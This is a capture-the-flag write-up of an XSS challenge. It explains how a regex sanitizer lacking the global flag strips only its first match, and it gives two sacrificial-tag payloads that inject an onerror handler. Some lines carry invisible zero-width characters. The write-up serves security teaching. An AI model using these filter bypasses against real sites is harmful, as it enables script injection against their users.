Medium 2 - Regex Single Replacement Bypass

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: regex_single_replacement_bypass, sacrificial_pattern_injection

Summary

Walkthrough of the CUSTOM Web Medium 2 - Regex Single Replacement Bypass. XSS challenge from the sibearsxss series. The escape function uses regex to remove dangerous patterns, but the regex is applied only once (without the /g flag).

Description

XSS challenge from the sibearsxss series. The escape function uses regex to remove dangerous patterns, but the regex is applied only once (without the /g flag).

URL: http://109.233.56.90:11659/xss/medium/2

Analysis

Escape function:

 js read-only • copy allowed Copy
function escape(s) {
  s = s.replace(/(?:<[a-z\s]+>|on[\s\S]+=)/i, '');
  return s;
}

Regex breakdown:

• (?:...) — non-capturing group
• <[a-z\s]+> — HTML tag like <tag> or <tag > (letters and spaces)
• | — OR
• on[\s\S]+= — event handler like onclick=, onerror=, etc.
• /i — case-insensitive
• NO /g flag — only the FIRST match is replaced! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: The regex removes only the first match. If you send two XSS patterns, the first one will be removed, but the second one will remain.

Solution

Use a "sacrificial" pattern that will be removed by the regex, while the real XSS payload remains:

Payload:

 html read-only • copy allowed Copy
<x >onerror=prompt("sibears")<img src=x onerror=prompt("sibears")>

How it works:

1. Regex finds the first match: <x > (matches <[a-z\s]+>)
2. <x > is removed
3. Remaining: onerror=prompt("sibears")<img src=x onerror=prompt("sibears")>
4. Regex is not applied again (no /g flag)
5. <img src=x onerror=prompt("sibears")> remains and executes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative payload:

 html read-only • copy allowed Copy
<a >x<img src=x onerror=prompt("sibears")>

• <a > is removed as the first match
• x<img src=x onerror=prompt("sibears")> remains ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering regex_single_replacement_bypass, sacrificial_pattern_injection was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

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Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Medium 2 - Regex Single Replacement Bypass • Difficulty: Easy